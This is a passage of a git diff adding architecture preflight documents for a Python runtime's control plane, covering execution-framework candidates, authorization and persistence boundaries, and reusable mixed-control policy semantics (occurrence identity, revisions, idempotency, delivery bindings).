blocked callback. A process crash loses P0 work; P1/P2 need startup reconciliation. This is a comparison baseline, not proof that a new event loop is needed. | +| Durable execution: [Temporal](https://docs.temporal.io/activity-execution) or [DBOS](https://docs.dbos.dev/architecture), implementing runtime orchestration and backend tasks | Reuse durable execution records, scheduling, queues and worker recovery. Runtime-owned code specifies the semantic decisions using engine APIs. | Recovery must obey authored retry/observation rules; cancellation still requires backend cooperation. Temporal adds a service and persistence; DBOS Python supports SQLite or Postgres. Distinguish engine progress from portable operation state and specify their reconciliation. Evaluate complete compositions, not only per-operation opt-in. | +| Robotics/action protocol, e.g. [ROS 2 actions](https://design.ros2.org/articles/actions.html), at a backend adapter | Goal acceptance, feedback, result and a distinct cancel request are useful for a backend that already exposes them. | Action `CANCELING`/`CANCELED` are not RAE operation states or independent effect/cessation proof. Middleware, executor and backend deployment are extra dependencies; no ROS stack is required of non-robotic backends. Mapping must validate correlated backend evidence, not copy ROS states into portable DTOs. | +| Simulation/event scheduler, e.g. [SimPy events](https://simpy.readthedocs.io/en/4.1.1/api_reference/simpy.events.html), at semantic-time scheduling | Deterministic event ordering and cooperative process interrupts can serve a simulation backend. | A SimPy interrupt is delivered to its process, not to a blocked native/remote call. Its clock cannot replace the authored time-domain authority or apparatus monotonic deadline; no durable external-effect recovery follows from the event queue. | +| Actor mailbox/supervision, e.g. [Akka typed supervision](https://doc.akka.io/libraries/akka-core/current/typed/fault-tolerance.html), or a small in-process serialized owner | Mailbox serialization and explicit stop/restart policies can isolate local failures. | Mailbox saturation can strand urgent supervision; restarting an actor can abandon an active external effect. A separate framework/runtime adds ownership and deployment complexity. Reuse only if it preserves the existing store writer, reserved control capacity and quarantine; actor restart is not operation retry. | + +Behavior trees, statecharts, game loops and reconciliation controllers may help +particular authored or backend-local control, but none by itself supplies the +operation store, effect fencing, or authorization boundary. A desired-state +reconciler that re-applies effects is especially unsafe after an indeterminate +result. Mapping authored workflow states into engine steps must preserve their +meaning and permissions, including after recovery. + +The following is the required logical boundary from #1348, not a selected +framework, new public interface, or claim about today's executable supervision: + +```mermaid +flowchart LR + A[Authorized caller and admitted authored plan] --> G[Existing admission and policy gates] + G --> O[RAE state authority: claim, reserve, settle] + O <-->|atomic state, operation, audit and CAS| S[Admitted control-plane store] + O -->|scoped invocation; release state permit| E[Execution machinery and effect workers] + G -->|bounded supervisory admission| O + O -->|reserved control capacity| C[Control and observation workers] + E --> B[Registered backend: effects and willingness] + C --> B + B -->|correlated result and cessation evidence| V[Existing result and disclosure validation] + V -->|generation and revision checked settlement| O + E -. candidate-specific progress and reconciliation .-> H[Optional engine history] + H -. no independent operation-state authority .-> O +``` + +RAE retains the effect reservation while the state permit is free. Workers have +no direct store-write authority. Engine history, if present, is an additional +failure and disclosure boundary; the diagram asserts no atomic transaction +between it and the RAE store. + +## Existing interfaces and whole-repo gates + +Python package paths below are relative to `implementations/python/packages/`; +unqualified module names refer to `raes_runtime`. + +| Layer | Canonical incumbent and required fit | +| --- | --- | +| Contracts and semantic validation | `raes_contracts/operation_lifecycle.py`, `raes_contracts/contracts/operation_carriers.py`, closed `ContractModel` carriers, the FM3 model, authored `raes_contracts/workflow/`, `TimeCoordinator`, and SCE-007 trial/attempt/cleanup models own states, identities and permission. Reuse the SDL parser/compiler, plan admission and `backend_input_contracts.py` before dispatch, and native workflow/result/time validators on return. An executor gets an admitted command, not an alternate schema or validation policy. | +| Component admission | `ControlPlaneOptions`/`ControlPlaneConfiguration`, `control_plane_profiles.py`, `RuntimeTarget`, registry shape checks, `registry_target_validation.py`, and backend manifests distinguish profile, installed component, operation-kind support and contextual willingness. If a candidate needs an optional worker or backend control method, declare and shape-check it here; recheck willingness after queueing. No implicit profile upgrade or fallback. | +| State and persistence | `RuntimeMutationAuthority`, `RuntimeLifecycleMixin`, `RuntimeDurabilityMixin`, `ControlPlaneStore`/`AtomicControlPlaneStore`, `ControlPlaneStoreCommitAdapter`, in-memory and SQLite stores, revision CAS, strict codecs/migrations, `RuntimeOwnerLease` and path hardening own claim, readback, quarantine, audit and publication. A scheduler must neither hold the state permit across a callback nor release the effect reservation on local timeout. Engine history governs execution progress; its reconciliation with RAE operation records must preserve one semantic authority. Distributed storage and owner fencing need explicit contract extensions. | +| Backend and failure isolation | `backend_calls.py`, `_validated_backend_result()`, `backend_result_diagnostics.py`, `control_plane_recovery.py` and recovery observer own isolated inputs, trusted predecessor and recovery classification. Extend late-result admission through those boundaries; workers need scoped invocation/generation identities. Failure or malformed return must preserve portable state without claiming absent effects. Reserve target/run-wide conflicting effects unless admitted independence proves narrower isolation. | +| Security and HTTP validation | `ControlPlaneSecurityConfig.strict_defaults()`, `_ControlPlaneApiAuth`, `ControlPlaneIdentity`, `control_plane_plan_authorization.py`, `operation_admission_context()`, `RequestSizeLimitMiddleware`, API Pydantic models and bounded `_ControlPlaneCallExecutor` are the gates. Any new control route reauthorizes target/run/subject and operation scope, records its own supervisor actor, and retains bounded admission even when effect workers are saturated. IDs, receipts and engine task tokens do not authorize a RAE operation; protect engine tokens according to their native privileges too. | +| Secrets and host exposure | `SecretReferenceId`, runtime fact binding/dispatch, `raes/runtime_environment.py`, stateful resource projections and planner admission own closed env shapes, freshness, sensitivity and scoped resolution. Keep resolved credentials ephemeral, out of checkpoints, logs, audit, HTTP errors and worker payloads unless an existing validated carrier permits them. No token in process argv, inherited broad environment, request-supplied command or new shell boundary. TLS, proxy header stripping, filesystem permissions and process supervision stay with the embedder. A local process kill does not fence a remote job. | +| Observability and error envelopes | Existing `Diagnostic`/`DiagnosticModel`, `portable_diagnostic_payload()`, `AuditEvent`, rejection audit, module loggers, `control_plane_health.py`, API `_conflict_detail()` and `_operation_routes.py`'s global 422/500 handlers own value-free diagnostics and redacted responses. Keep operational readiness, participant observations, workflow history and experiment evidence distinct. Preserve denial status and headers if audit fails. Do not surface native exception text, request input, paths, credentials, traceback or engine payloads. | +| Participant scheduling and disclosure | `participant_scheduler_concurrency.py`, `participant_scheduler_concurrent_dispatch.py`, `participant_resource_budgets.py` and `participant_resource_reservation.py` already admit bounded batches, semantic independence and shared resource use. Preserve their accounting, ordering and indeterminate settlement instead of adding a competing scheduler. `participant_crossing_*`, `participant_control_*`, `participant_opacity_enforcement.py` and `participant_flow_sink.py` retain selected actor/subject, state-cut and final-sink checks before effects or disclosure. An engine's serialization/history is an additional disclosure boundary, not a reason to bypass these checks. | +| Package and deployment boundaries | ADR-036 and `tools/policy/adr_policy.yaml` own imports: backend protocols depend on contracts; runtime must not import concrete backend, CLI or MCP packages; MCP is an authoring surface. Keep engine-specific SDK objects out of portable contracts and lower layers. Runtime dependencies belong in `implementations/python/pyproject.toml` and its `uv.lock`; experiment tooling is distinct from shipped dependencies. Development executables/images use ADR-106, `implementations/tooling/artifacts.lock.json` and `tools/check_tooling_artifact_policy.py`. Record license, supported Python/OS versions, service/storage versions, migration, backup/restore and worker drain obligations before adoption. | +| Publication and verification | `.ground-control.yaml`, `.gc/plan-rules.md`, `noxfile.py`, repo policy, ADR-059 pins, requirement governance, and ADR-009/061 schema manifest and `schema_bundle()` are the gates. A portable carrier change needs its published schema, ledger, compatibility checks and strict migration together. Local verification stays targeted; CI owns full suites. | + +At a new serialized worker boundary, reuse `raes_contracts/json_ingress.py` +for bounded, duplicate-rejecting, finite JSON parsing before closed +`ContractModel` validation; preserve `runtime_value_limits.py` aggregate bounds +and domain validators. SDK deserialization or a matching Python type alone is +insufficient. Revalidation across a trust boundary is necessary; duplicating +the schema or its validation rules in an engine DTO is not. Translate SDK +failures at the adapter into the existing diagnostic/conflict vocabulary without +losing the distinction between denied admission, uncertain effects and uncertain +store acknowledgement. SDK failures must not leak through logs or error causes. + +Environment binding must pass **both** `raes/runtime_environment.py` and +`raes_processor/planner/stateful_admission.py`: literal `value` and `value_from` +are exclusive; generated output cannot claim `operator_secret`; delivery mode, +exact projection keys, node/output identity, sensitivity and consumer match must +agree. Reuse `raes_processor/planner/prepared_node_projection.py` and +`raes_runtime/backend_account_credentials.py` on the result path. A generic +engine environment dictionary cannot replace these shapes. Reuse +`runtime_fact_binding_policy.py` and `RuntimeFactDispatchCommand` for scoped, +fresh, protected-sink resolution; their in-process one-shot object is not a +durable deduplication record. Service connection credentials are embedder +configuration, not authored scenario environment. +Keep durable tasks reference-based and resolve credentials at the authorized +execution boundary; include engine history, search attributes, heartbeat data, +retry/dead-letter records and dashboards in the disclosure review. Redacting the +HTTP response alone does not protect those sinks. + +Connection endpoints must come from trusted composition, not an authored plan +or worker message. Reuse `raes_contracts/uri_safety.py` for portable URI fields; +its rejection of embedded credentials is not network authorization, TLS +verification or an SSRF defense. Selected clients still need authenticated +endpoints and explicit deployment trust. Child workers must not inherit owner +lease/store handles, broad credentials or live resolver objects. Process +isolation needs bounded IPC, explicit resource limits and owned shutdown; it +does not make hostile backend code safe or contain remote effects. + +The dependency seam must be parameterized by **operation kind and admitted +guarantees**, with a typed worker/backend capability and per-invocation control +identity. This lets a future backend offer cooperative stop, observation or +continuation without forcing every P0 backend to install an execution service. +Operational queue, callback, observation, commit and drain budgets belong in +typed runtime configuration; authored semantic time remains with its existing +clock/domain/segment model. Version any durable command or evidence carrier +through the contract publication rules, and define upgrade behavior before +using framework checkpoints for recovery. + +The current `RecoveryObservationResult` carries absent/applied/indeterminate +classification; it does not establish general partial-effect, cessation or +continuation evidence. Extend its owning contracts through governed publication +where required; do not hide stronger claims in diagnostics or engine status. + +The exact credential-sensitive retry proof in `control_plane_operation_context.py` +and `control_plane_admission.py` is deliberately ephemeral. A public request +commitment after restart cannot reauthorize credential-bearing input or supply +replay material. `RuntimeManager` is a separate direct-execution facade; it +cannot dispatch into a target/run quarantined by the control plane. + +## Open boundaries for a distributed composition + +These obligations apply to any candidate, including the existing proposal; they +are decision constraints, not a delivery sequence or a new protocol definition. + +- **Admission across a worker boundary.** The current trusted-embedder identity, + process-local planner digest registration and injected resolver/service objects + are not portable authorization. Define how a worker establishes the admitted + operation, actor, target/run, generation and current authority before an effect. + Do not pickle a live control plane, resolver, callback or mutable snapshot to + preserve process-local trust. Reuse bounded contract decoding and native result + validators on return. Unsupported carrier/worker versions fail closed. +- **Ledger and execution history.** Account for loss between claim, enqueue, + invocation, effect, result receipt, terminal commit and engine acknowledgement. + Preserve one semantic writer and atomic snapshot/operation/audit publication; + no shared database name implies a transaction across two systems. Duplicated + or out-of-order delivery must resolve through the admitted identity and + authoritative readback without another invocation or rewritten terminal parent. + Retention, restore and worker upgrades must preserve deduplication and the + evidence needed to reconcile still-active effects; history expiry is not + permission to repeat them. +- **Replay and identity.** Distinguish an engine workflow/run/task/attempt from + a RAE operation, execution generation, authored workflow attempt and trial + `run_id`. Engine reset, retry, continuation, signal redelivery or manual + redrive cannot allocate a fresh effect permission. Deterministic orchestration + must not directly call mutable stores, clocks, secret resolvers or backends; + map those interactions through the selected engine's supported boundary and + existing RAE admission. A replayed permission or willingness result is + historical evidence, not current dispatch authority. Code upgrades and + history rollover must retain operation identity, remaining budgets, + reservations and pending supervision without re-executing effects. +- **Ownership and federation.** `RuntimeOwnerLease`, its process/fork checks, + `require_single_worker_configuration()` and local private store paths remain + the P1/P2 boundary. A remote store or worker fleet needs explicit scope binding, + ownership transfer, stale-worker handling and partition behavior before it can + claim coordination. Tenant/namespace/queue names are routing labels, not access + control. Define authenticated service/worker identities, least-privilege store + and secret access, trust and credential revocation, and authorization of + callbacks/observations. Neither owner CAS nor a network partition proves that + the previous worker or backend stopped; retain exclusion when that is unknown. +- **Bounded operation.** State how effect, control, audit and store capacity stay + available under saturation and service failure. Separate queues alone do not + isolate shared thread pools, database connections, locks, CPU or memory. Reuse + resource accounting, require finite stage budgets, and preserve remaining + budgets across nested calls; scenario pause cannot pause supervision. Scope + endpoint, queue and worker settings to the selected composition through typed + configuration, with no implicit P3 upgrade or hard-coded tenant count. OS + process termination and remote backend containment require separate evidence. + +## Evidence required before selecting a component + +The retained [experiment report](../research/execution-architecture/experiment-report.md) +reports worker loss against an in-memory Temporal development server and +synthetic effect witnesses. That is not evidence for PostgreSQL persistence, +service loss, federation or end-to-end RAE supervision. Its invocation marker +is experiment scaffolding, not a reusable production fence. Review the retained +evidence for each named uncertainty before commissioning another experiment; +do not infer guarantees from the proposed stack diagram. + +Use bounded, instrumented experiments at each candidate's proposed seam, +including the incumbent. Inject a blocking callback, a cooperative and a +refusing cancel implementation, a crash after an external effect but before +acknowledgement, and a duplicate delivery. Observe backend effects independently +of futures, engine status and RAE store records. Bound each experiment and +record whether control remains reachable under worker/queue saturation, who +still owns the effect reservation, what persists across restart, and whether a +second effect is possible. Include cancellation-versus-completion and unknown +commit-ack races. A cancelled future, heartbeat timeout or durable retry alone +does not pass the interruption or duplicate-effect gate. If a candidate cannot +expose cessation/effect evidence, the honest result is retained quarantine or +`INDETERMINATE`, subject to admitted requirements. + +Build on the existing acceptance oracles, rather than replacing them with engine +status assertions: `test_issue_1348_operation_supervision.py` (abstract semantics), +`test_issue_1181_unified_control_plane_mutations.py` (one writer), +`test_issue_1187_control_plane_process_loss.py` (crash/no-replay), +`test_issue_1092_control_plane_crash_consistency.py` (atomic cuts/readback), +`test_issue_1187_control_plane_security_conformance.py` (identity and redaction), +and `test_participant_concurrent_batch_reservations.py` (reservation settlement), +all under `implementations/python/tests/`. Env/result regressions already have +`test_issue_1074_generated_artifact_env_consumers.py`, +`test_issue_1204_prepared_credentials.py` and +`test_issue_1003_final_sink_flow_enforcement.py`. Existing tests establish their +stated local contracts; they do not certify a distributed design. Record exact +candidate versions/configurations, independent effect observations and untested +failure windows. Also cover stopped-owner replacement while its backend still +acts, service/store unavailability, unauthorized completion/control messages, +credential disclosure through engine history, and incompatible worker upgrades +when claiming those boundaries. No fresh experiment or runtime test is required +for this documentation-only preflight. + +The final #1350 decision should publish **one** accepted architecture decision +and a component/interface diagram identifying state writer, worker, backend, +store and supervisor control flow; record measured guarantees, limitations, +dependency/deployment cost and alternatives. Selection is not ready until the +chosen composition resolves worker authorization, ledger/engine reconciliation +and stale-owner/partition behavior, or explicitly excludes that deployment. +These are decision gates, not an implementation sequence. Disposition the +canonical owners +API-404 (C1–C4), API-402/403, RUN-300/304/316, DSL-113, SEM-203/204/227–229, +SCE-006/007, EXP-706/712, SCE-002 and ASR-532 by reference to their existing +`docs/requirements//requirement.md` files. Do not copy their clauses into +a second catalog. An ADR-104 amendment or new ADR must obey ADR-059's amendment +and pin rules. Acceptance is a design decision, not a claim that executable +supervision, recovery or backend containment has shipped. + +Use `RAES_REQUIREMENT_UID=API-404` and the repository-backed requirement +governance configured in `tools/policy/requirement_order.yaml`. The eventual +decision needs canonical `DOCUMENTS` traceability; add `IMPLEMENTS`/`TESTS` +only for their actual code, spec or evidence claims. Do not change requirement +status or claim a new profile from this preflight or candidate experiments. + +## Non-goals and anti-patterns + +No runtime code, new schema, dependency, deployment service or accepted ADR is +created by this preflight. The later implementation must not add competing +operation authorities, unauthorized worker writes, duplicate exception hierarchy, +uncontrolled replay/compensation, free-form policy metadata, mandatory ROS, +or P3 coordination by implication. P0 stays usable without a durable service; +a distributed composition may require one explicitly. Do not conflate operation +with workflow/attempt/trial, scheduling with semantic time, CAS with external +fencing, audit with experiment evidence, or a backend cancel acknowledgement +with effect cessation. Physical-OT protections remain selectable future +backend capabilities, not universal requirements or certification claims. diff --git a/docs/decisions/issue-1351-reusable-mixed-control-preflight.md b/docs/decisions/issue-1351-reusable-mixed-control-preflight.md new file mode 100644 index 000000000..86a8e231a --- /dev/null +++ b/docs/decisions/issue-1351-reusable-mixed-control-preflight.md @@ -0,0 +1,557 @@ +# Issue #1351 — Reusable mixed-control architecture preflight + +Date: 2026-09-22. Inspection baseline: `c22ae7f94f2e3269dbebc0d05c32f3808c6a4577`. + +Scope: ACT-617, API-409, RUN-310 and DSL-142 preflights for issue #1351. +This is guidance, not an accepted semantic decision, +requirement amendment, implementation plan, or claim of runtime support. +The referenced diagnosis was inspected from this repository's Git object +`077f7d04:docs/research/runtime-refactor/diagnosis.md`; it is absent from the +current working tree. Its F03 finding is confirmed by the current code. + +## Architecture boundary + +Separate a reusable permission from its applications under the existing +owners: ACT-617 owns authored policy, API-409 owns portable control facts, +RUN-310 owns live mediation/history, and DSL-142 owns participant-directed +inject bindings. Keep the policy beneath `ParticipantBehaviorSpecification`, +scoped to one controlled participant, with stable local transition identities +and typed compiler children. A return to the same controller state is a new +occurrence at a new state revision, not reuse of an old occurrence identity. + +The accepted decision must distinguish permitted source/destination states, +controller/authority/scope constraints, target requirements and evidence +requirements from actual occurrence identities, proposal/target revisions, +expected/resulting state revisions, order, evaluated validity and evidence. +Authored evidence requirements do not establish completion. Moving checks to +their proper owner must preserve exact occurrence checks; deleting revision +checks or assigning wildcard revisions is not a repair. +Reuse `MixedControlTransitionKind` and the existing disposition owners rather +than copying their enums across authoring, contract and runtime packages. + +The intended change is FM3 under +[ADR-007](adrs/adr-007-lightweight-formal-methods-policy.md): repetition, +re-entry, concurrency and replay alter stateful control semantics. The accepted +design needs an explicit abstract state machine and invariants, with typed +contract coverage and targeted property/differential evidence where useful. +TLA+ or Alloy is recommended for these risks, not an unconditional tool mandate. +This preflight does not substitute for that model or its evidence. + +Use [ADR-085](adrs/adr-085-participant-information-flow-and-control.md), +[ADR-095](adrs/adr-095-participant-decision-epoch-state-cut-and-delivery-semantics.md), +[ADR-104](adrs/adr-104-runtime-control-plane-architecture.md) and +[ADR-108](adrs/adr-108-modular-participant-control-and-governed-effects.md) as +the surrounding boundaries. Permission, proposal, supervisory decision, +admission, execution, delivery and observation stay distinct. A policy graph +does not schedule itself. Existing [workflow semantics](../../specs/formal/workflows/state-machine.md) +already separate declarations from lifecycle/outcome/attempt state; reuse that +distinction without reusing workflow DTOs as participant state or adding a +second workflow engine. + +The extension seam belongs at the policy-to-occurrence binding: explicit +semantic revision, permitted transition identity, occurrence-specific target +bindings and a typed order/validity basis. The next cycle supplies fresh +coordinates without editing the policy. The accepted decision must explicitly +choose whether finite scripted authoring remains supported and how it is +identified. If retained, scripted sequence constraints govern applications of +policy; they must not create another mediation path. If not retained for new +authoring, legacy scripts still need an explicit reader/migration policy. +Do not infer reusable versus scripted meaning from missing fields, magic +revision values or graph topology. Keep unsupported order strategies closed; +a future causal-order variant needs governed semantics, not an open metadata +map. Reusable permission does not imply unlimited automatic firing or retries; +existing episode/resource and modular causal budgets still apply. + +## Findings the semantic decision must resolve + +Package paths below are relative to `implementations/python/packages/`. + +| Current coupling | Required guardrail | +| --- | --- | +| `raes/participant_behavior_specification.py::MixedControlTransition` fixes revisions, order and proposal links; `MixedControlParticipantOperation` validates established revision pairs. | Separate graph validity from occurrence continuity. Merely returning to a named state cannot reset its revision. State identity, state revision, proposal revision, occurrence revision, policy revision and history head are different coordinates. Define whether every accepted control kind advances state revision, including a same-state transition; the current fold advances for all accepted kinds. | +| `raes_contracts/contracts/participant_control_validation.py` indexes declarations by `(declaration_ref, participant_address, episode_id)` and requires exact order/revision equality. | A reusable declaration cannot supply different occurrence coordinates under that key. Keep one policy identity and a separately validated occurrence context; do not generate synthetic policy edges per visit or overwrite declaration indexes. Occurrence context must come from trusted policy/history resolution, not caller-supplied assertions. | +| API-409 proposal and typed-target indexes admit one meaning/revision/scope per identity. `raes_runtime/participant_control_targets.py` also projects accepted lifecycle facts. | Explicitly define identity and revision scoping for repeated proposals, decisions and targets. Never treat a reusable transition reference as a proposal occurrence. Fresh proposals cannot inherit a previous cycle's approval; changed inputs under the same identity conflict. Preserve transformation provenance and markings. | +| ACT-617 authoring requires an external direction to name a proposal; API-409 directions target proposal, action or control, and interventions target action, control or attempt. | Reconcile the target sets explicitly in ACT-617/API-409/RUN-310 and DSL-142. Do not silently broaden authority, erase typed targets, or fabricate proposals to conceal disagreement. | +| DSL-142 repeats order, validity, authority and evidence from the authored transition; its validator binds the destination controller, while RUN-310 derives the occurrence actor from the source controller. | Define the acting controller versus resulting controller for each kind and any permitted controller change. Bind each directed delivery to its actual authorized control occurrence, preserving the inject/event/script/story identity and participant observation/evidence requirements. A declaration reference alone cannot establish which repeated occurrence authorized delivery. | +| `_verify_delivery_control_time` compares `(control_effective_order, 0)` with temporal ticks. RUN-310 tests an authored order against authored windows. | Do not carry this implicit order-to-time conversion into reusable semantics. Specify the trusted coordinate source and scope, inclusive/exclusive endpoints, expiry/revocation evaluation and the decision/commit cut. Preserve the distinction between declaration consistency and live validity. | +| API-409's base model requires effective order to lie within its interval even for rejected occurrences; the runtime copies declaration coordinates into rejection records. | Define a representable rejected-attempt record that distinguishes attempted and evaluated coordinates without asserting validity or advancing accepted state. Rejected attempts cannot become usable proposals, targets or satisfied predecessors. Do not silently reinterpret historical rejected records. | + +### API-409 carrier and consumer guardrails + +Keep `ParticipantRuntimeBaseEnvelopeModel` embedded exactly once. Its event +identity, actor/producer distinction, timestamps, ordering basis, predecessor +refs, provenance, evidence and markings remain shared authority. New control +coordinates belong on the owning control contract, not on every runtime +event or an undifferentiated external-input envelope. Payloads remain +references/digests; resolving one must not imply permission to disclose it. + +Disposition needs an explicit eligibility rule: API-409's +`_register_record_targets` indexes every disposition except `rejected`, while +RUN-310's `participant_control_targets.py` exposes only `accepted` records. +Define which dispositions can be referenced as historical facts, authorize a +new request, and advance controller state. These are different predicates; +neither presence in an index nor a non-rejected disposition grants permission. +An accepted denial is a successfully recorded denial, not proposal approval. +Cancellation and override append facts; they never rewrite the old disposition. + +`validate_participant_control_occurrence_context` pre-indexes the entire +batch. Its typed-target check establishes kind, revision and participant/episode +scope, not target availability at the evaluated cut. Approval additionally +checks proposal order and a predecessor link, but those checks do not define +every control kind's causal rules. An existing-target relation must resolve at +the admitted cut, not merely somewhere in the batch; self/future/cyclic +dependencies cannot supply authority. Prospective replacement or completion +obligation references need their own explicit meaning. `known_targets` must +remain an independently trusted projection. Extend the owning contextual +validator and RUN-310 resolution together; do not copy a state machine into +HTTP handlers, conformance dispatch or API-424 adapters. + +Specify conflicting approval/denial, override and cancellation eligibility +against the exact proposal/decision revision. Distinct decision IDs alone do +not resolve contradictory decisions. The decision must say when an earlier +approval ceases to authorize progress, without erasing that historical fact. +Replay/import must validate the history with pinned policy and cut context; +snapshot shape, contiguous append revisions and an intact stored digest do +not alone prove authorized state continuity. + +The consumer intersection constrains the extension seam. API-424's +`ControlHandoffEffectModel` requires a changed controller; a same-state control +occurrence must not be mislabeled as handoff. Its `ControlRef` bounds length +and characters, and `ControlCount` requires a strict integer no greater than +1,000,000, while API-409's current integer aliases have no such upper bound. +Define supported coordinate ranges and explicit exhaustion at these joins; +never truncate identities, wrap revisions or relax a consumer validator to +make a cycle fit. SEM-233's `_validate_control_binding` joins by event ID and +checks occurrence revision and related identities: returning to the same state +or target must not coalesce two occurrences into one flow binding. + +Concurrency must retain exact expected state, current controller, policy +revision, target revision and relevant history heads. Define who establishes +the admitted total order and at which atomic boundary; HTTP arrival, lock +acquisition, dictionary order and wall time cannot silently become semantic +precedence. Ordered contenders are revalidated after the first accepted +transition. Ambiguous ordering fails closed, and a stale contender cannot be +made valid by substituting the new revision. Define rejection's effect on the +order coordinate separately from its append position. + +The authorization check must describe the **acting** controller and the grant +allowing this kind of transition at its pre-state. A destination controller +cannot authorize its own takeover merely by appearing in the destination +state. Initial and resulting authority must independently satisfy the existing +agent anchors and scope rules; any supervisory exception needs explicit +semantics within those owners. Include policy/authority changes in the trusted +cut revalidated at commit so a grant cannot be revoked between check and use. +Completion evidence must bind the particular handoff and its declared +completion condition; a caller-supplied reference alone proves neither a +controller transfer nor a backend effect. + +The [shared time model](../../specs/formal/time-model/README.md) owns clock +authority, domains, segments, ticks/microsteps and explicit mappings. +Occurrence order is not automatically a clock, elapsed duration, workflow +attempt count or episode turn. Clock reset/replay creates a new segment; +unmapped domains are incomparable. If temporal validity is supported, reuse +`raes.time_model`, its validator/compiler, `raes_contracts.contracts.time_model` +and `raes_runtime.time_coordinator`; no mixed-control clock or timestamp +taxonomy is warranted. An order-window limit must not claim wall-clock expiry. + +RUN-310 currently folds accepted history per episode from revision zero but +uses `occurrence_revision = len(participant_history) + 1` across episodes and +rejections. Preserve that historical distinction. State reconstruction must +use retained occurrences and their pinned historical policy, never the latest +policy's rewritten edges. Non-handoff v1 records rely on compiled transitions +for resulting state; retain that dependency rather than inventing past data. +Declare policy replacement behavior and old-policy replay explicitly; do not +apply a new policy in the middle of an episode by address coincidence. + +Episode admission, terminal state, reset and restart belong to +`raes_contracts/participant_episode.py`, `participant_episode_snapshot.py` and +`raes_runtime/participant_episode_control.py`, under +[ADR-013](adrs/adr-013-participant-episode-lifecycle-boundaries.md). +The new semantics must say which established episode states admit control, +how initial authority is established, and how a new episode binds policy. +An arbitrary caller-supplied episode id is not proof of initialization. +Reject cross-episode proposal/approval reuse. Process recovery reconstructs +the existing episode; it does not create a fresh episode or permission to +repeat external effects. Distinguish history reconstruction, idempotent request +retry, semantic clock replay and a new experimental trial. + +Repetition also changes the resource risk: current mediation folds, validates +and copies growing histories on each submission. Define admitted work/history +bounds and explicit exhaustion behavior with the existing resource owners; +do not truncate authoritative history or reset budgets to make cycles cheap. +Any derived index must be reconstructible and tied to the store revision. +Reusable policy does not establish bounded replay cost or justify a new store. + +### RUN-310 runtime and effect boundaries + +Keep one occurrence evaluator across the existing entry paths. Their different +commit sets are intentional; a reusable-policy change must preserve each: + +| Entry path | Existing boundary and required preservation | +| --- | --- | +| Direct supervisory intent | `participant_control_mediation.py` binds trusted policy, resolves targets, validates candidate history and claims the operation before `commit_control_transition`. Preserve the occurrence, terminal operation and actor-bound audit as one commit. | +| Governed control ingress | `participant_crossing_boundary.py` uses `admit_ingress_sinks` and rebinds any transformed intent before `prepare_participant_control_transition`. Preserve subject agreement and the atomic control/crossing/API-424 evaluation histories through `commit_participant_transition`; do not route reusable policies around those gates. | +| Separately admitted handoff effect | `participant_control_effects.py` binds the API-424 effect to its owner input and submits through `record_participant_control`. Preserve current-cut owner admission, durable effect/owner claims and append-only realization evidence. Committing a parent evaluation is not completing its handoff. | + +The following distinctions are required by those joins: + +- **Retry identity is not a visit counter.** `control_plane_store.py` owns + `require_idempotency_key`, `idempotency_claim_identity` and replay checks. + Its claim key is `(actor, operation kind, client key)` inside an admitted + target/run store; participant and episode are request commitments, not + additional key namespaces. Reusing that key for another episode therefore + conflicts. `client_correlation_id` is currently fingerprinted intent, not a + separately enforced uniqueness ledger. Specify any stronger semantics + explicitly; do not weaken the existing claim scope to enable repetition. + Direct mediation currently prepares candidate history before claim lookup. + The revised binding must let an authorized exact retry resolve its retained + receipt without requiring a new policy occurrence to be valid at today's + cut, and without bypassing current receipt-access authorization. +- **A fresh occurrence need not be a fresh logical effect.** API-424 keys + already include run, trigger root, rule id/revision, slot and firing epoch. + `participant_control_receipts.py` and `participant_control_causal_state.py` + retain their claims and consumption. A repeated handoff must explicitly + bind the appropriate firing epoch and occurrence coordinates; a new + evaluation id or attempt cannot reuse an applied receipt as proof of another + transfer or reset a root's budget. Do not replace these keys with the + reusable policy-edge identity. +- **Drain authority is not effect authority.** Reuse `require_drain_authority` + and `origin_principal`: the caller requesting dispatch cannot lend its + privileges to the effect. The originating principal's scopes are retained + from admission; current code has no principal registry to re-resolve them. + Define controller grant revocation/expiry at the owner cut separately from + this retained principal scope. Retroactively withdrawing admitted effects + on principal revocation would be a change to the + [existing effect contract](../explain/reference/modular-participant-control-contracts.md), + not an incidental consequence of reusable policies. Uncertain dispatch + remains subject to `control_plane_recovery.py`; never retry it as a fresh + cycle to escape an indeterminate operation. +- **Execution outcome has its own authority.** `OperationReceipt.accepted` + can be true for a rejected control attempt. Read the owner's terminal status + and occurrence disposition; an accepted denial still authorizes no action. + `participant_control_targets.py` retains historical action/admission/attempt + targets with revision 1, so target existence does not prove current stage + or cancellability. Resolve effects against the lifecycle at the admitted + cut; cancellation/override cannot revoke an already delivered observation + or manufacture backend acknowledgment. +- **Provider transfer is not controller transfer.** + `mixed_runtime_phase.py` appends a composition `handoff` alongside phase + progression; that record alone does not append a RUN-310 controller-state + transition. Preserve SEM-234's allocation, quiescence and forward-phase + bounds and its explicit control-event link. Repeated controller cycles do + not authorize provider fallback, phase rewind or a new episode. + +Keep the shared `RuntimeMutationAuthority` and its +`external_control_plane_call` fence around resolver/provider callbacks, +including `fenced_validation_context`. A reentrant callback must not advance +the state cut while its enclosing request is being validated. HTTP calls keep +`control_plane_api/_offload.py`'s bounded admission, asynchronous reservation +and worker-settlement behavior; client disconnect/coroutine cancellation does +not mean RUN-310 cancellation or rollback of a durable mutation. No second +participant queue, controller lock, retry worker or cancellation engine is +warranted by reusable policy. + +### DSL-142 delivery bindings and repeated occurrences + +Retain the participant-local `ParticipantInjectDelivery` relation and typed +`ParticipantInjectDeliveryRuntime` compiler child. The +[original DSL-142 preflight](issue-797-dsl-142-participant-inject-delivery-preflight.md) +still explains its authoring boundary; its statements about future runtime +work are historical. Current API-423/RUN-319 and API-424/RUN-320 already own +governed crossings and inject effects. Extend their joins, not a new delivery +service, receipt schema, transition registry or orchestration plan domain. +Compiler metadata does not itself schedule or perform those operations. + +Keep these identities separate: the DSL-111 inject and event/script/story +anchor, the participant delivery declaration, the reusable control-policy +edge, its API-409 application, and the actual delivery/observation occurrences. +The authored `occurrence` triple establishes narrative membership; it carries +no episode, runtime firing identity or control occurrence revision. A repeated +edge therefore cannot identify a delivery by itself. Preserve one addressee +per binding; fan-out uses separate bindings, authorization and evidence. +Absence of a binding remains environment-only. An explicit binding discloses +only its governed result item, not the inject body or its environment effects. + +The extension seam is the existing delivery-to-control relation: pin the +semantic interpretation and control-policy edge, then resolve application +identity/revision, participant/episode, typed target, authority, state cut and +delivery occurrence through their owning contracts. Authored reusable +constraints cannot contain fictitious future receipts. Define whether an 